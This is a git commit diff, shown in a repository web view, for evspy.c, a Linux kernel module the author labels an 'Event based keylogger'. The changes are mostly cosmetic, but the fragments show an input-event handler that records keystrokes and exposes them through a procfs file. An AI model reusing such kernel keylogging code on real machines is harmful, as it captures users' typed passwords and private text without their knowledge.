summaryrefslogtreecommitdiff
path: root/evspy/evspy.c
diff options
context:
space:
mode:
Diffstat (limited to 'evspy/evspy.c')
-rw-r--r--evspy/evspy.c19
1 files changed, 7 insertions, 12 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
index 50af056..39e87f3 100644
--- a/evspy/evspy.c
+++ b/evspy/evspy.c
@@ -31,7 +31,6 @@
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/sched.h>
-#include <asm/page.h>
#include "evspy.h"
@@ -46,8 +45,6 @@ static char sp_tag[] = "<+XXX>";
/*
* Executed when the procfs file is read (EVS_PROCNAME)
- *
- * TODO: Take a look at kernel's circular list implementation
*/
int evspy_read_proc(char *page, char **start, off_t offset, int count,
int *eof, void *data)
@@ -107,7 +104,7 @@ static void special_char(unsigned int code, unsigned int value)
int i;
int known = 1;
- // We don't care when some special keys are freed; add them here
+ // We need to know when some special keys are freed; add them here
switch(code) {
case KEY_LEFTSHIFT:
case KEY_RIGHTSHIFT:
@@ -158,12 +155,10 @@ static void special_char(unsigned int code, unsigned int value)
known = 0;
}
- if (!known && evs_isfX(code)) {
- // TODO: Which F key has been pressed? (by the way, who cares? ... )
+ if (!known && evs_isfX(code))
strncpy(sp_tag+2, "F??", 3);
- } else if (!known) {
+ else if (!known)
return;
- }
if (value == EVS_VAL_PRESS)
sp_tag[1] = '+';
@@ -195,9 +190,8 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
special_char(code, value);
// "Direct" keys (alphanumeric + some symbols)
- else if (value == EVS_VAL_PRESS) {
+ else if (value == EVS_VAL_PRESS)
evs_insert(map[code]);
- }
}
static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
@@ -212,7 +206,7 @@ static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
handle->dev = dev;
handle->handler = handler;
- handle->name = "evspy";
+ handle->name = EVS_NAME;
error = input_register_handle(handle);
if (error)
@@ -249,7 +243,7 @@ static struct input_handler evspy_handler = {
.event = evspy_event,
.connect = evspy_connect,
.disconnect = evspy_disconnect,
- .name = "evspy",
+ .name = EVS_NAME,
.id_table = evspy_ids,
};
@@ -275,3 +269,4 @@ module_exit(evspy_exit);
MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_DESCRIPTION("Event based keylogger");
MODULE_LICENSE("GPL");
+MODULE_VERSION("0.1");